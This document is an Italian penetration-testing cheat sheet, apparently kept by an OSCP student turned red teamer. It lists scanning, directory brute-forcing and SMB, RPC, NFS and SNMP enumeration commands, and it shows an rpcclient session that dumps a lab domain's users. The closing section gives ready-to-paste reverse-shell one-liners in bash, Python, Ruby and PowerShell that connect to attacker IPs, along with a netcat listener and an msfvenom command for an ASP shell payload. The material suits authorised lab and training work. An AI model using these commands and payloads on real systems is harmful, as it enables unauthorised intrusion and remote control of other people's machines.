
Ci sono molti cheat sheet in giro, ma questo è il mio.
Ci sono molti cheat sheet in giro, ma questo è il mio. È un lavoro in corso al momento, e vive come una bozza grezza che viene aggiornata spesso, a volte. L'ho iniziato mentre studiavo per l'OSCP, ma ora si sta evolvendo per includere cose più pratiche di cui ho bisogno come red teamer. Le nuove aggiunte molto probabilmente non saranno di alcuna utilità per l'esame, e potrebbero persino includere strumenti vietati.
Molto incompleta...
find / -name flag.txt per trovare file per nome.
grep -R "flag40" / -s -n cerca una stringa nei file, cercando ricorsivamente dalla directory root, senza output di errori.
dir /s flag.txt per trovare file chiamati flag.txt nella directory corrente e nelle sottodirectory.
Uno strumento utile -> wadcoms.github.io
nmap -sn 10.11.1.0/24 scansione di rete per trovare host.
nmap -sn 10.11.1.0/24 -oG - | awk '/Up$/{print $2}' > list_ips.txt scansiona la rete per rilevare gli IP attivi, e salva gli indirizzi IP in una lista.nmap -A 10.10.10.10 per una scansione rapida delle porte TCP comuni con rilevamento di OS e servizi.
nmap -A 10.10.10.10 -p- per scansionare tutte le porte TCP con rilevamento di OS e servizi.
nmap -A -sU 10.10.10.10 per scansionare tutte le porte UDP con rilevamento di OS e servizi.
sudo nmap -O -A -sV 10.10.10.10 per scansionare tutte le porte TCP comuni, rilevare l'OS, eseguire script e catturare banner.
proxychains nmap -Pn -sT 10.10.10.10 -v perché le scansioni ICMP/UDP non funzionano.
Il flag -w per specificare il timeout in secondi e il flag -z per inviare zero dati (per la scansione)
nc -nvv -w 1 -z 10.11.1.220 3388-3390 scansione TCP delle porte 3388-3390.
nc -nv -u -z -w 1 10.11.1.115 160-162 scansione UDP delle porte 160-162.
gobuster dir -u http://10.1.1.27 -w /usr/share/wordlists/dirb/big.txt.Mi piace anche dirsearch.
Wordlist utili su Kali
kali@kali:~/Tools/dirsearch$ ls /usr/share/wordlists
dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt rockyou.txt.gz wfuzz
kali@kali:~/Tools/dirsearch$ ls /usr/share/seclists
Discovery Fuzzing IOCs Miscellaneous Passwords Pattern-Matching Payloads README.md Usernames Web-Shells
kali@kali:~/Tools/dirsearch$
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirb/big.txt -r enumerazione directory con big.txt di dirb, copia/incolla e basta IP/URL ed estensioni.
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r enumerazione directory con la directory list di dirbuster, copia/incolla e basta IP/URL ed estensioni.
python3 dirsearch.py -u http://10.11.1.71 -t 100 -e cgi -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -r, forza bruta dei CGI.
Un modulo rsync è essenzialmente una condivisione di directory. Questi moduli possono essere opzionalmente protetti da password. Questa opzione elenca i moduli disponibili e, opzionalmente, determina se il modulo richiede una password per l'accesso**:**:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
smbclient -L 10.11.1.146 Per elencare le condivisioni disponibili
smbclient //10.11.1.146/IPC$ per accedere a quella condivisione. Se non funziona, prova con sudo... sudo smbclient //10.11.1.146/IPC$
enum4linux 10.11.1.146 -a -o per usare enum4linux per automatizzare la condivisione smb.
Se puoi connetterti con accesso Null -> rpcclient -U '' -N forest.htb.
rpcclient $> querydomaininfo
command not found: querydomaininfo
rpcclient $> querydominfo
Domain: HTB
Server:
Comment:
Total Users: 105
Total Groups: 0
Total Aliases: 0
Sequence No: 1
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $>
Buon Articolo
Un altro utile articolo
showmount -e 10.10.10.10 per vedere i mount disponibili
mount -t nfs 10.10.10.10:/ /tmp -o nolock per montare la root, o qualunque altra cartella.
onesixtyone -c community -i ips scansiona la rete target per identificare server SNMP dove community e ips sono liste, community = (public, private, manager).
snmp-check 10.11.1.227 fa tutto ciò che segue, ma meglio e lo formatta in modo ordinato :)
snmpwalk -c public -v1 -t 10 10.11.1.115 enumera l'intero albero MIB.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 enumera gli utenti Windows.
snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 enumera i processi Windows in esecuzione.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3 enumera le porte TCP aperte.
snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2 enumera il software installato.
/bin/bash -i >& /dev/tcp/192.168.119.137/1337 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
ruby -rsocket -e'f=TCPSocket.open("10.10.14.3",8081).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.119.137',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
nc -lvp 4444 ascolta (cattura) la reverse shell con Netcat sulla porta 4444
python -c 'import pty; pty.spawn("/bin/bash")' oppure python3 -c 'import pty; pty.spawn("/bin/bash")'
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f asp > shell.asp